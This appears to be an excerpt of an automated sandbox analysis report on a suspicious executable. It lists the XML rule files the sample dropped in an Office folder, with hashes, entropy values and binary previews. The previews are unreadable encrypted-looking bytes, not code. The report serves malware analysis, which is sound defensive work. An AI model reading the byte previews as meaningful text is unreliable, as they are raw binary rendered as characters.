Preview:	<?xml`5....L.....r...v...=.>...K.a..%.37N.@..xKa@...o. W$......c..aj..Q(.}...#}.D@.....A....B.-U.80m?.....o....I..C.."......k..sj.D.uGn...w.u..xB..I.T..$...]...n....qm.\|v4....j....!.i.....'.....d.l.;.Z..h.Y.z...s.k._:....^.6...A.+.h$.3.X..#p...@.X}.r0SW.m.QJu.L..`.ft...].p...3.Zr....&..;....S.e.....1...,.9....h?..,.B..r..g...h.x.K<...i._.d..>Wq.G.&...4?.\|..3.B].d.D.e..JI.t.?........^Hx..[.....'.&J..2....}eF....6.oF.,.\|.w.Oe..okG1.....M E..1M._DSO.7...>~Z..>.........^J\|z.9.n.,..qM..z...t.}c..B.V.{..Q..r....nD}~...!-....2.<.#...k.>4\.N......`..x.C}`5\|.^W>.r.].#....;.)..H.S].....@f.0./`v.).".I..v....KE....z.".....a...cS2a3:.(.2..s.'i....o....(.d{.}P../..."...kR.uB&..X..W...@.$....&u..w.l..}.I..(.LZ.....$L.k.\X..K......1....+q.5.....u...l .of_q$......M...OM.C}L.`.'$A...iF........o..^.kz.....)~.-.j.`%..RD.%.{!.~.;W.DC...B@.........#29.......B.A.....f.+T.p.1...u..9jI.1;w...o....L.....J.l9....'.....u.....n..x..i.H.Wr..s[.J............\[.aJ..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11792v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	7356
Entropy (8bit):	7.976759690440567
Encrypted:	false
SSDEEP:	192:VkreMhFi64IlipNlQP3Ur/a247q+dmORK8:2/FimivlEUrn4u+mOA8
MD5:	50EBE81AB2652662590328F9748200B6
SHA1:	009D4F0E9C5A3D4DE12437869206C4E727B78CB3
SHA-256:	912E79C305362F3BE2CC5DF4297EC7B66D23B8B2D4C028F80A4CD8CFFCEFF8A2
SHA-512:	3A82D9B6E51BAD3F4CEB732B25EAA59646ED4DD06428BD1B32520758E5BE47C233475EAE8E4B25B3D5B87C623CB3107CA0282804FC07E5193EF2AD2175B07ACD
Malicious:	false
Preview:	<?xml...B...9DT..4s.-..u`5./.....5.S.K..%l&.....^.5..A...z"...8]..d6.bn...G;.e..y..\|.?1...8...E.. ...9......+.l..J.gR.v.>+._e".k.R......y.R..!.... ........I.......jd...<O....O......g..1...;.........H..fI.;.F!..G."-.f.o.....C_.7..Ry.M.k.N..e7c}.D...z........}_..sj@O..F}..8]..!/-.....=.(.v..\|....oP..g.Q....u...wduI.#..........E/Q..}..(.gtA.4...,cKU....F....E.\E.+....fz.d..e.U.s..M...c.j~...eJ....d.i../ i...$:d...O.)..P8.z..u....5.1.w..vg2..F.......3.....l..B&..Gaov.....Y...?...T.`..DH..>........I...E.....u5Q.....z.'..+...@=......r..W..c....G.8(...F8..El..q.J...y`..-...\.....'.....+....7%.....4M..Z.9.?.S}+..VJ..8j.T..Ab.......7..[T]N.kgy.>1g.x3U..H.....F... .7<.....H@..3..$c.."an}Y..D!\|.%...J./.\|.!\!o..T...<.X_S......V....[...j.g...[....%....<So.....h.U&.%....o.zo....uy..H=...q.;...>....X.....$..,..<G..A.qm.....{.:.p...?..n..\|:.]./..!.?.....J.........X.mH..!..?..]mBd.r..zQ[.v@.....7..P...S.z.....5...T.kn.$.S..H....>.T.y....I..\...X.N.I .c.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11793v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1551
Entropy (8bit):	7.883680553663765
Encrypted:	false
SSDEEP:	24:KrCHWcCDdf5EYMaYdaJeNx/FVczsiVqd5V0am4IiuH0fKMiL2cHm/faoVbD:XHWXpehbYsiVqJ0bPrMiLdoFD
MD5:	28BD203E499A3C19B0C1DA34E4EED93C
SHA1:	86302C37ABC488B0BF395A88F4FF6D8B12F3F13B
SHA-256:	63FE83A0F3B4E10BEBCA37E3F5F198A7BC5B7A25178B9E975F7D5B106FC7CCBD
SHA-512:	B9BDFB19E09487781781413628F05957AA62EF9310B3179B2EC3BE5D73A453ACBDDDB9F8F829A82DFCA4162C7F683DC2ABA4DEC49C2C7921A9D44EE0A0D6B4A7
Malicious:	false
Preview:	<?xml....xfo.A.\..5.7%.b&...........?.~{...{....d@.\...EZ........\|.......~..>Z..n.1C...82.{.i.U%.H..H.........2.....-c..UEqh..?..'._{"..v.g.a...w..\|...d.........[..d.c.YV.Y..KG......S./X....+x........Y.m.7.uxh....T..'.\X.&...3GJ..T........E...SQ..&.2......../p..8.n.y.v..x:....0........Idg.L.e...4nq.a...:H ....J....._..Lh..#.}.(.s?..hl.....q?..;m....t..h".. ..}o.^.bP.......2..wO..8..O3...P[uc^8.e.T-I.!..,..i9=]...( .KX.....\|..r.j......o.c.i6.i.k;.O.#..E(k...]...(?.1...g;j)..ft...n/...?.Ti.H...4.....nS......ZS77..=.<...R.h2.....:....(...0..R./d..X..>).N....D.=...F_...u .uU#:U<i.{.O.@\|.....j..&.r...... ......EE..x....>..6.....yV.......PnV.o...]-..zB\|..n.+F.S!.e!G.\.....0..P3..??.....v.f.R..L.>O.o'....z...{.y.o.[..{G-.B.......J......... .9^.V..7.\|....7J..gG....)...r.a>...W.G....9m........v........N!.............)b@...gn....&....\|w..\|A.{.....V8..q:...E.o.&fh.R3~.4..c4... ...s..s.,.L2?.3.Z.m8....{.`.....[w.1.8`.L..k....L..(MQ".j.x..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11794v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.888590375348767
Encrypted:	false
SSDEEP:	48:MAJlA1ypIJCrOEp5W6w3MAlhH7nhBPx2neQpKFFD:FJuymk5jDaHPx2fE9
MD5:	8394F540BA09FDEE8BB448CD215CF2CC
SHA1:	9541BB60FB6C4A4ECED7548F0BFAD45D76BCCC7D
SHA-256:	4954593886555F0913FA3AB3463787F3EAA9CD12B34B55461AB68B79B4C918F3
SHA-512:	4F4E62A58A4363EF1DC79701547D49D512973D16385C3885D4F7C3CA296EBB0D7EEF253CC33C2B476EEAEE6FD77EEA8D849C342A46116CAFB7BDBA853851CC5A
Malicious:	false
Preview:	<?xml.d..".ec`.gm.....+`.ds..$..6..F..^..Y.)G..V.}..<..C.+.`2{...JT.r....I........W...`..k..;....M.=......#\.&.f..D.ks.....7.).u...."..hAY5...D.q...z.Gy.M......T..e.....cpL..T3x.%m....O..............H..7..!.e1A...m.h .J.V.4.EA........tC.u`.=...<......>..=.#..-.DU[.W..s.qY.`...L6.W,....R......\|{....6.....(._S...O.....P...#8..:..5."...~...4....=...F!6...<4.i..J.Q..N0.hZX.!.s....GH...x.....%..f.:./0..6;....Y.9qv.T..).4H.{....,O.F.v~.Ed..17...J?..tP\|.:.<<5f..D.4I...k#CX#.....rP.....S.w!fm.riui..y....?....o.T..$4..I....4......v..x.R.......F2.../Q.!.k7n..:....JH.<.....[.G#._.1.&.8E...`..d.PC.(.\.rr.K..u.J.....o.n.F.. ..=....3.H....z).>eN[...>3....G.....zm.?up.Xi~;.1.....qs..`O.=.5X;Jq..r%.y..S.I.A......(W..t...=j....R.....+3v.../=......mpG.gg<.......i.D.n%..#..BY0...X.w.....~.......;..f.%12.......J....C..o.O...D...W'...,.6l...P.....:.\|>.]/..j$_...w`...)...N.6s.....zJ..h.H.k..........mV.\.P...F..v...D.1.O..z............Lg`...[.a...<......[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11834v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.892491498868284
Encrypted:	false
SSDEEP:	48:nvvFlbTCLXNOrI055j+uijn89uUOUtVAVFD:vvFlOXgrI2M7guUxtCV9
MD5:	9E6BFA074F3840D1ED6CD19D8BEB40A0
SHA1:	C3EF65BA612280A686037D9D9E57C34B1C4E2081
SHA-256:	EBE56F2721F0669BFB160E6BDB935652F19EDBD72F83F810554055D9E2D15E9C
SHA-512:	3D1CA81FAE9C9DEB79B834D7607BE7CCA876CE895131B7C1A7A2E1AB9B19A0D6596322D5F25FC6CA289E48038869FF773F4C6E28D02CC44B82DBA1FF9A340CE5
Malicious:	false
Preview:	<?xml...'.U...vm.Pu.!..36..@..M'x.Lp...I}"..U..5.).../.`=.U{..z_.<.gV.mA.3.X.b.n0.+..@bH.?..YP..g..^..}S`.4...m....'...'o~.tf..y........{s`!.....U...<..8$.W.....L.6......._.>.Le.....=.7.4.h.@^.....x...D.q..4x.e).Pu...].IbG.....a#y..D....O..7........-?..14.St_so....N7O+X\..5L.... ...=......8.........{....vd..C..R.a^..=..M........w.Y.7xmZU...{..O...^.z..._..kU..B.:...9...h......k8.V.a.zF..5..F.cUd5.B0d3.f..C(....Z.<j....mB...r..c..8....=..b..N.k..5y?!q..*UW..[.`..G.RgI...~~.pS.....\\|X. .o...8..".....d-w.r9Q.Ho.Oe..~...}).......x.+....VN.0....A.....b.Yw.c...L....C..J_i.O..x.k.`..7}....@..F...9s...j.s\...oN....Z.er..Yy..,..}...ZQ.%...?$.(...g.....i{...t"2.f...".@2. Z.Yn...o}F7G.q3@&2...f.H.........QSWC8..s........r..=$..a..o....2......nK.I./.....-.-.Z%.{.HJ..SQFK....Y;...7&.l./A...{...1Z........_H>?Y..k.U..H....C.M9.3Sp.....Aj...GWC.......B9\|..'.\|Yd.h...rx.8....RJw..5y1rj....H.3w.K[8v]R..\<..>...O.....f...fpB.p..H.I..........Kv

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11882v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	7.869743815311123
Encrypted:	false
SSDEEP:	24:ypgLh2LXq/+SZVjw/Y72tn8MQNIRTMZ9uPh82EJrQzVjETKZ6+WoW8DT7ZKVbD:07LXq/B5w/SMNRZPu2cyjDQ38DQFD
MD5:	C016C2AEA3941645B860CDBB2CD989CE
SHA1:	21FA7D49794F62AD24723545A2A003D55BDA5135
SHA-256:	A86950B043EF5749F087A308A682117F0CBA710031DB279697AD1E313E368795
SHA-512:	CD848C141CB993AA53995DFAF9E1197F92D6FA6BA0883CCFA211BE2A6B7CF95E73F4C6FC446F238F3B4A713E413D3D695D604A1A61F3D7B8F5F344CF65A50EEF
Malicious:	false
Preview:	<?xml.v..D-..,..".N.t...dC..O........-.-......Z)...^..D..4.....q....E..x'.u..z0..9....}.e[.k6..J.U....W$+......R..#...c.y[..-.2...T...{....og..gZc.\|.m.;...m.,@.p\x...8..q-.1.k....+zw..d..a]"...'Z..9;N.....s.%.O.~n.V,~O..v!....r./...s.+g.U<....:.........U..N..m..?O?#.w.W.f......'..\.>.....@hq..w...{....n.G..CE<&$.q.../......S...j...pg.r.u..@.z...QdMt@.TI_....!d...OS...Z...%..}.a..[...{...B..gu..S....o......s.>.i.m..i.>t.....B4Rt.......h....M..~l..O.VNi}Z-..".<..fZ...X8=..sf..u>,?o...E.W"..........=K..^....p....Zv.r..E...'z#.....?..Xt.....1K._.?..(.c,L._~...... ...kc:.Z./.*@......2.....A....F..K."".ZJ..I)......5...7...^X}..D.....'..K.%tX.1...G-.y..U..\|..............<O...'.t.. .^.uN..........A.o#c...Ec......Z..X..{..Y.%....?o....9..e..,.. dC..'./9...1.8..,.5.`..Ng.a..(z>4...B..\9.o... ..K\9.SZ.>.?.A...B.".i.........j[.~6.....\.G%F_.........V...>`.A......%.Q....J#1V.}f~.J.)Y....C..Y'.v.c..E.M.....th....Z..r.....\.!U~.)...J...k..=...y>o...3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11890v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	7.8468506015811235
Encrypted:	false
SSDEEP:	24:+NEsqrqBiZagpBu95TkGIiry24yolRMhvv/tIssbOJPcwND4BZtBVbD:bsdBQu//4hy3Gssby4nfFD
MD5:	DBF4D4FA04F3C35BF35C19FD2D808FCD
SHA1:	737027D0F2C50CE633E535475DFF982736427101
SHA-256:	A16F2DF441A73FE6EA161673D22A17E421FD616D87A65DC132C118F6D94FE918
SHA-512:	D6BBE7EE54E011F1B2A5459266DF197231E9131EA47AA8525009E7F1F4D2EEF25C0DFD893E7953371743BC5A18E296D88A238C5FCEC3AA84C452BDAC3CBEAC99
Malicious:	false
Preview:	<?xml.^........hR...l...(.er.~...<P$7.s^5..dP$..Y..?.`9..w;[.Q3.,...C.V......9o.\f....,h.p..k.0u.S\2.].1h..`.Sd.5....BP.5...n.yX}...<...{..>.....c.Hj.f\|.....!I...{...F.m"...mAp...n.m-.:>I~.l.'..Ec.t.7...2.Mw.]$.....@...r\.6..mMa.hV'..!.Ql..WyJ.1.}...,N.&..Q..q....P.....5.[..M.(.&c'..3....u?..S.......(..$X...w(.n3....a..d7.e......vV~r..jWI...5>P5+..i6X.c..{.J.\..r^..,^.DS/.?&P.f6.c..=.....%.......Nh.u..J....68rg..H.>.H....=R..M.2.....W....S.TC..y>T bg.3......\|..JP....e.od,.fhOt.H .3}..h...\|=.v%... ..$d1y.....Z...F....u..D...R!.L$......S6k/p.....Q[^~."..I.;G....F..2...eO..........l......zTe.....&(V"+l]..e]FW.K.@.....Ge..k@k........<H..!.hG3#`..4;.:J..N0....o.L......"@.\+.2.,....o.h.8.E.'. .I9.I....P.TQ,0.J..Aw6.....T.(..#..X.....EKMF..+..2..\|`...........4.."....+.......A.yp.8..+..;..m?...8....T.....'.cW>...f\|"LL.7.#.......B.#.V.....)+B..r.....!.5....)PR.19.w..A...K..P.....9.....1.....'`..2....$V,q..X...`.i.TZ..s.\...6?aq(k........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11930v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	7.866434734223085
Encrypted:	false
SSDEEP:	24:8cvM56Sjqa9WLCri/mSTxCH4FxW9C9NVIauHQ5Bvu9qdNZf8bvlzqAcyvWnXVbD:0hYuO/FxCHUWInh0Qbv1Ob9qsWnXFD
MD5:	358CECEC7C20C47511C2B46D12309E24
SHA1:	00ED0FAD9EE6083A56A485D37EDE2E6A5C1F6186
SHA-256:	F386F91606C7E73BC3376A505DC6494C9C4196EF4A522ABF8E43970EAD6B2212
SHA-512:	3328B06225A815E2B9BA8983D24F9D288FF5753FCE56C81B9222451C19F922DA89B0C8546F17550D7CBAB4653E140B830C7BD6D3768E7D7241BE07C25C1A56A8
Malicious:	false
Preview:	<?xml'..e.g@4....A&...Mh.kP...:..}U..!..p.\|)C.....).........Qt"..YM../.}.b~&....&.n.3...).<../.v.Q{.......)...%..C...&..?.6[..L.qi..6.Uq.....]..'......\..x....`Mw..A^.=.a0...%..!...V.^.....t..9_..S.....6?..U.......C...t...5.Om@...;..s..).5..>\.....+eg.h...T]{.........?...fQne..6U...qH.`....`..9.,...4..5<.t.F..i#.t.....;.L.vK..J.-!}~........#.e.%<..0ys.._...d&..{......b.HDI...Vf...........g(..L.l..+...G..z..1g3...oE`k..t..g^.7.W9.o..R........zJ..^.[.h..jz.....oA.S........e-...`y... ....../}...d..>t.J.. @.Zcn..gY...p.".c..kK..S....(p.N......KV..Y.._\.u.........a2..}.z........#8..N..sB.f.j..}...a.\|..6.`..c.J...z>...Gn.]..5.?p.M.\|?...........^.0>....!.5h9..a.).h..m...w{M...f.f.6....o.kh\?rZ..-......p6.?..za..;.\|..&+........o..h.E.:..).x....[/.....Cr..4$k........G....lKY.x..?#..6.k.].?U2...P..].5....a".t...?8.(.4D...J...#.;..Zt...m.U.....}....w.."..TE.....w....h.6..Q9G.\|_.........n..5..Y.i..Sc.IB.._....Q......n.q2E..r=...._..EF...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11931v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	903
Entropy (8bit):	7.7436177263072645
Encrypted:	false
SSDEEP:	12:tpxTtBonG7A3nmEPV70QuU3cGcCJvL31mhbhTW615jP7o8Ks19x9WG8eiU/eMB3x:tonG7AxPV70Q9FmPP2QxcGMoe8rVbD
MD5:	B7251BDDAB7573CFAB61CBBE11AF1B5D
SHA1:	6139424EE5518127E541AA9FE9DC33873D55E204
SHA-256:	2DDA2435151E0B00CB0FCFA05590E61BFE18941158B001C3CA6CA7523CB7D728
SHA-512:	39146259D8CE47A8244F74D0B28D414B8BC4B17EF97915F576B89968FF0A22BE4BF05FCB18C07A2A02BB666AF068B6D99AE9D04438AA9E047759C84D11E8541D
Malicious:	false
Preview:	<?xml~+...&x.......\...h.....^...mA:E..y...xzj..q..'...j.v.@....^.{....E.J.LoD..[Q...A8..,Zh5x..:,...z'...p%N#.B..o.:.<.R..x..6`.G..].:..h{..!...^..i.5...0..p.tS..@1...uy....j^1......W..:(....]#.v52]..Y.$..E.....p&}H.....n..4C..P7.V......K$.PO.....d9]...6.....ifv.c..e3.!8C.oA...&....k..u....\|..u..@.9j...B...)W..:.Xg.).....y.4...0.}......+..e.i.O.9]..}.:N.......O4.....JD.@B.R......!.($R..L...g..^........1yE.......$...!.W.T.q.c_.A^1.JK1...7'.&1.DPK...Vk\..i.bR.qi9F...,qW...v.c(.Ls.H.9...3$..x..d.W._...r."t.....Y2.U..tlbCy...V0.(.... #..e.m.R..Wl.V..RP.....a...S.pW...8..rR.W.=...K../T.&.......c.t...[.g.j0-.p@..&.c.I...BS.t.u.5.......n..D0.d).......[...o...]#.....3L....J=$.u.;..e...fX.!=.mCH....wq.J....]..1....LJ....9.0......rN.%.....7@)e.z{...U.q.I....%S.m(..Z8itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11932v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3566
Entropy (8bit):	7.944568356784115
Encrypted:	false
SSDEEP:	96:BD5ucq6MXfq/DO2I9cy57NQRpDVsquhjt9:BYcMXy/D3CcU7KLmqM
MD5:	1E234DAFD2E1EEFCD629FA84544D9504
SHA1:	57A3B0468FAA37C36D9F0557E2C23FF861DDCBD1
SHA-256:	EF8061C2AC49113C671F8EF7AD731CA9BA50F347184BEE9DE7E680776D751C0A
SHA-512:	82BA307F7BD44C66801B50143A6EDA546BF5EBF4536607E43BD4623358AA0A6CCAD2E4F995C80844B82D74B64090C9A1075AC52A71BA2A0A588D1241D15C49A6
Malicious:	false
Preview:	<?xmlOPp...j.q..P.2..fW......SM.Az.......iB...zj=.97..#...zc..l...:\LQ....0.8..S.0....s~...'1..g.....4.Om..B..`..H...=.y..b.u.{...X..:"....~.....j8.d.\|cw........+..On.Z.P:t.....B..S.~.l^.U.k..\[AiW,g..K......O.EN.}Ln.I.'SSN..2.(...Q.5:.....U..0.....J`......=.l.?.........@gU.D...i0F..s..?r.....~...o...............G..m...C,..i...t....:...,..X...g..t.:6..6......C..e..B...q..\|.K..r..r....".....v.6.C8........2_..'.&J ..W....&.........y.R...Uw...e.\.DO.=..@..]..V.OVon...k..W...5)."ZX.......B..@.<.w.h^..#...v.~..!......'..5_.r..^....W....D0..%.k.W.j.U.?.....i' .5..#`.....e.g\.O.W....2......h.o._.8.~%.j..zJ..G....%.\6....h....bn...-.+..b..K.!.._.Cf.....@.p.@....F.....tH.+.@O..4..Fch.A..(dP..h{.S:......b...~gK="8VFG..p"qX.=1..`..m:.`@.t.2.QQ..xg...~..lG....A=.H.vy..\|H..)D.Y.Oto-@..e...".....g9.......v..(. ...~....".../..Hj..3.......;...Fxj~.m+.Ci.k..R...6.\..a.&n........c...A..<O('.J..23\|*.=&.1j.lq........U~A1.o9.....B[~.....=..].H.m\|..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11933v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3677
Entropy (8bit):	7.953713218570857
Encrypted:	false
SSDEEP:	96:5Lev0NQvweTRazVNvlw7+F0tLFUS+1BV0OuPz+fvds5frcFjyuj9:5Svzhoz7lS+cxJsjuPQ1urqya
MD5:	77AFD5046EF8C1A59A1B043464B51007
SHA1:	58637E26FE662DCFD23C496259B98FEF3E5D8B4B
SHA-256:	191A277B9CFB29E3CDE63AFF74D96B963EF97B42B0D40DE93E51CB4D1B76C3FF
SHA-512:	06C8D2E63D2E30508C50BAFC47FDD359FE9465F296FABBCD814705897674C461EA860BB35117DF3D268041F9E8EA937657DED2B46235B5FF24E9DF07B7839A72
Malicious:	false
Preview:	<?xmlG.E^x........'..}.iQ2...K.L.+....V.3...>9q....q.../.........i ...8.O`...;w,.\|.I.....z}...#.......IDT\......&&1w..\:.7.os.{..{....D.s...."...A..f..y.......Ip..Z..B.."&..P.5.Kn.Z....:.(....h}s..!..#.:?7.}...8X1}....e>&...F.../%.......n......W....0....s.Q...uY.V..,.D.e......M........=....C.W.>c.9%M..@H.c>d....ap... .d.]..[`.$K1D.q.....2.s.-..p.x.m.....$...+..+...Zz,....m.+).lGX.-5...^.>.;..H.t.....v.....v..M..B8?g....;.#......G........a.~.5(........,..8f....V2.4{..~..r..T4i..x.kdnz..Y...R..!...S.{.* ....@6.E.L.....)........-.e...v.M....v..u/....x....EG1D....j#\..=B.....`...:"..<\]lkc.(....J....F.6.0.Ygr...`Pv.}.,...g0s...=.~...9.EJ.lA..V..`...j.........a.,....)%...:....jb.3....f.3.j.pK.G.....OI..`..2.....hGq=...a....]...8@.z..T..k............;(......U......r.,.HT/.n.H.B.!..~...z..t.v.....W.x..).mq(v....TZ....R..x.U.coMV@.A.(/F.`..-D..n.mx.?.:.........p.....S+l%.$..G.y../o...(.J.`.Mo.&.uU........P1tT.B.d~.......->.vZNnP.r.Tt.Y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11939v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.6807181064738534
Encrypted:	false
SSDEEP:	12:sRTAoHNEHY2UXGW8r6e5XT5rI+SI+K+Sp52W0p9N9PtfWS4KdQyHx/PHa/pFHkeP:uT2lee5XT5c+8Sp8TN9Vepcpy/THkQn/
MD5:	6E83703870CD49A2A48159B141B322D0
SHA1:	CA9E83068BB5EBF329D8D726AF0AA8F1B9225A59
SHA-256:	69D450A69A38BDF2860CB9C1BB0D44433C6BFE24D730DFEFA06A0000DD25BFC6
SHA-512:	C398BD045A36E45EB255746CD774DFB930934C8B5A45DE1B5935D5FC513F7608FA07F3DC87D101EC9F430DB84E90879BE1A23B36EC1296B01CDBB1BBF5DB560F
Malicious:	false
Preview:	<?xml.p.M..$......E.......(..A.V.H..vi.......n.o.u.)......8M.N]....Ie.,...Y.N0..o.O&...Q7....fi.P..A.....g.D{.Ul..^.;.g...(..6z.........g..?.`....To.77.Z...V3..Rz.....(P...7N..W......8F.9JbU.6~...j\.....\|.W...."..E.]..`Y...xA.. .[...jT...MM.T.v.`..O.... .9.e3.0c...D..W..F.%.@.%..x.=.;.H....97.Y".r.....].T......}.......oK#.3h.Y#\|.L...2+..1..%)H....Y..C.......W........t"g....R.T.b6.....RkB .wuO.......}...bn_...^x....(t....Xt..k_.i`3ut'.@..3..........u.w.q..Um..i...k.y..]yA..6.F7..<....^...,.@-.....8..A;t.....]..r.g:....,.....o.....IGw)..t?.n..VX.7....<.... ....w.3.X....u)..r...Q*!.Md....JX.X..r..sv..#v.xu..G..$CPQ=p.Q^y.))...8n......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11950v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1620
Entropy (8bit):	7.838584202671567
Encrypted:	false
SSDEEP:	24:n2tMtzzkolP/QApqBSwDi4NN3KIqH1b/F3EkcAkxtrU1xI5M8VbD:nasIolPJYb3KfV5UkcVxOc5PFD
MD5:	84B14D096956FB3045E5F8357C248FF8
SHA1:	6008029ADD2303ED6A1149B513B072DCFE93A499
SHA-256:	195D2179177D5453D80F56B17EF5F982FBB63C40C449887DDACF2241D93740E4
SHA-512:	9CC25F060EBA56B257C94457E4BFAB45A2C78186B612651188BFBB0DF463D39BD308022586D74CCED8EEAEF68EE520ADE099CDE99D92A887C40A0559D70ED83D
Malicious:	false
Preview:	<?xml!..\|.5/.....>.....+.......[..2.;....K.?...,%5p&..a5..,?tT...-....F._\|f...S`...U..9.@.z.P...i...d.V...8....7......0...Fo.:...".9...`\R..U.)....K.._..n\._.&...T.R....C..1.......g.#..+......V..k..y.Q.:)..V._.P... %)...yYd.\Pe.....~.%p.{.`...q.!.....RPJFs..%.....!.9.....^...r....\..n..0:..Z.\....8#K!3.i4^....C..k..Rk..W......&.X..P:.[......o.$Z).....>.....,..%.y..[.v.~Wx....2...M...e.......n.Wn..X!...BF"=.y.S.....m.+3i..8.....G{.....2..G.jQ.Y.d>.y..K5..I).&....Y...l+....1#U.r.X...y.p.V!..e..x.@.A.;.AD_LL. W]E.G..'i).X...o........;7....$\|;p7..,.'..U."..n.>....S.9....y...R..[.m-.2_.%.^."x_.b.......7....'9...T....%.{g.I..hD.$];.U:#-...p..........+&....].....c...x..#=.hNFw.......l),....SW..R......;Q.0.kM>.(...if....<.......b..F.....\|!,..~..h...C0$.F;.....{..a...^.W.J....M.Z......$Q.\...}....T_.Q........%(..+...t...pE....)5....\|.,7.PJ...d....@M.8.fx.d..6..x...@s/....@..3.....3V........;...A..>.V(v^.L..=..Cb....._...... v....=".

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11981v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	821
Entropy (8bit):	7.744816062110335
Encrypted:	false
SSDEEP:	24:6G9iBkg94c9vY49e41MtU9hF44bqQUmucVbD:6qm4c9vY49eUMtUt44bqQLfFD
MD5:	CCE6E3F73697EC51278B7ECB20CCF43F
SHA1:	DCCA5D9F2E481FDF815F0C8904E93A9F60709660
SHA-256:	B16D973195B85F2E80E297768364692EE4CCD3EEC755A7C504A79285F0BBA54A
SHA-512:	94B52D8528B75195BD1D5F3484386FBD730CAC81B4C27AEDAFFB01C49FBE2ACDEBA5F8211C5A140F0DFC1689B5BBA47D8D21B7E4D78FC5AAA6961A1B11FD740D
Malicious:	false
Preview:	<?xml.Ii....0......B$.s@s.}.Mb.....H.....~.......d......b..V.....X.._...'w..s..&..]f...f.4nl\..I...4.wk../..}0.@..S..X..9,m.{1..m...I..F..~.>.XO...!..2.VO....B...j..."J]..oT%otqo.L.,...y..+.FW.Xw. .o.8.i..oj.+.........S}.......r..?b..M"..............4u)....c...D..[._=p.#.(...Qf7<.awpw.yC..=S.m.wt..c.u....W.;/.[.[\...H...J..........s.c.C....Q...r.%.SkxW...-.8....7C..g....\|...Px.&.X....7..!v.H.@..Y.E.. TP..A./.3....z..7.c+..6xb..TB.a..G3e..B.9.o..8..8P.`xc.5..u.1{...^...aP.o.A....q~........B"...!3.n..:.....)...R..M..zm/.O..47NX#....9..N.....[.Y7..h.(..h\|.F..d.?$.//...#/.....V.h..Q.\|.#...+B.?f....v.F.$.I8....G....p....%.3hBn.B...3.C.oA.F"Ae.;i'<q.yF?.n..0:...$..v...{"!J.fR.@..C.l.<.a...{...`e..R.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11989v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	7.787451812094315
Encrypted:	false
SSDEEP:	24:vVpu2J9SDSgrMureQyJUMFlw2x3nCwlNNWQVbD:vy2J7gJ2UOXCUNNWQFD
MD5:	2D7DB44567B5D86BEB7703DBA9A61916
SHA1:	4BBD0E994EB80B4CCB528C03ED1FB2C9B5BACD46
SHA-256:	8E2EEDB61C6477D322CC1EF93BE6BF50D04D680AE32AF91A02BA497B85E7EA69
SHA-512:	864FEEEBD99AFD18D8A5E087C56C20557C362ECD5E07D43927F9F16BB686AC45132DDC5FD5FB62E872BE8289D864127455D5B87011C91E9BEAAACA24FCA5DAB5
Malicious:	false
